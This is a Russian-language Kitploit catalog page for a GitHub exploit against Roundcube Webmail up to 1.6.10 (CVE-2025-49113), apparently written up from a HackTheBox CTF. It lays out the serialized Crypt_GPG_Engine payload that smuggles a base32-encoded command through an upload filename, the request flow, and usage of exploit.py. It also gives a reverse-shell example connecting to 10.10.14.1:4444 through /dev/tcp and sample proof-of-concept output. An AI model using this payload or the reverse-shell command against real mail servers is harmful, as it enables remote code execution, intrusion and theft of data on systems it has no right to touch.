Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-49113-Roundcube-RCE — CVE-2025-49113 – Roundcube ≤1.6.10 post-auth RCE через PHP десериализацию объектов (HackTheBox CTF) | Kitploit
Инструменты/GitHubGitHub/rippsec/cve-2025-49113-roundcube-rce
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubrippsec/cve-2025-49113-roundcube-rce

CVE-2025-49113-Roundcube-RCE

CVE-2025-49113 – Roundcube ≤1.6.10 post-auth RCE через PHP десериализацию объектов (HackTheBox CTF)

Репозиторий
4 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-49113 — RCE после аутентификации в Roundcube через десериализацию PHP-объекта

Обзор

ПолеПодробности
CVECVE-2025-49113
Программное обеспечениеRoundcube Webmail
Затронутые версии≤ 1.6.10
УязвимостьДесериализация PHP-объекта → RCE
АутентификацияТребуется (любой авторизованный пользователь)
ВоздействиеУдаленное выполнение кода на сервере
КонтекстОбнаружено во время HackTheBox CTF

Описание

Версии Roundcube Webmail до 1.6.10 включительно уязвимы для удаленного выполнения кода после аутентификации. Обработчик загрузки файлов десериализует PHP-объект, встроенный в имя файла загружаемого вложения. Создав вредоносное имя файла, содержащее сериализованный объект Crypt_GPG_Engine, авторизованный злоумышленник может инициировать выполнение произвольных команд на целевом сервере при обработке имени файла.

Технические детали

Класс уязвимости

Десериализация PHP-объекта (CWE-502). Конечная точка загрузки файлов Roundcube передает имя файла от клиента через путь десериализации без проверки. Класс Crypt_GPG_Engine доступен в цепочке зависимостей Roundcube и выступает в качестве используемой цепочки гаджетов.

Цепочка гаджетов

Класс Crypt_GPG_Engine содержит свойство _gpgconf, которое передается в системный вызов при уничтожении/инициализации объекта. Сериализуя экземпляр с поддельным значением _gpgconf, злоумышленник принуждает к выполнению команды.

Формат сериализованной полезной нагрузки:

root@kitploit:~
Serialized payload format:
|O:16:"Crypt_GPG_Engine":3:{
    s:8:"_process"; b:0;
    s:8:"_gpgconf"; s:<len>:"<base32-encoded-command> | base32 -d | sh &#";
    s:8:"_homedir"; s:0:"";
}

Команда кодируется в Base32, чтобы избежать проблем со специальными символами в поле имени файла.

Поток эксплуатации

root@kitploit:~
Attacker (authenticated)
    │
    ▼
GET /?_task=login         → Fetch CSRF token + session cookie
    │
    ▼
POST /?_task=login         → Authenticate with valid credentials
    │
    ▼
POST /?_task=settings&_action=upload
    Content-Disposition: filename="<SERIALIZED_PAYLOAD>"
    │
    ▼
Server deserializes filename → Crypt_GPG_Engine instantiated
    │
    ▼
_gpgconf executed → OS command runs as webserver user

Зачем нужен Base32?

Команда кодируется в Base32, чтобы избежать символов, которые могут повредить поле имени файла в multipart (кавычки, слеши и т.д.). Итоговая команда, выполняемая на сервере:

root@kitploit:~
echo "<B32_CMD>" | base32 -d | sh

Использование

root@kitploit:~
python3 exploit.py -u <USER> -p <PASS> -i <TARGET_URL> -x <COMMAND>
ФлагОписание
-uИмя пользователя Roundcube
-pПароль Roundcube
-iЦелевой URL (например, http://mail.target.htb)
-xКоманда для выполнения на сервере

Пример

root@kitploit:~
# Check code execution as web server user
python3 exploit.py -u admin -p password -i http://mail.target.htb -x "id"

# Reverse shell
python3 exploit.py -u admin -p password -i http://mail.target.htb \
  -x "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"

Зависимости

Внешние библиотеки не требуются — используются только стандартные библиотеки Python (http.client, urllib, base64 и т.д.).

Подтверждение концепции

root@kitploit:~
$ python3 exploit.py -u bob -p letmein -i http://mail.target.htb -x "id"
[*] Starting Roundcube exploit (CVE-2025-49113)
[*] Fetching CSRF token...
[+] Got CSRF token: abc123...
[*] Authenticating...
[+] Authentication successful
[*] Executing command: id
[+] Exploit completed. Check target for command execution.

Ссылки

  • Запись в NVD
  • Официальный сайт Roundcube
Скачать инструмент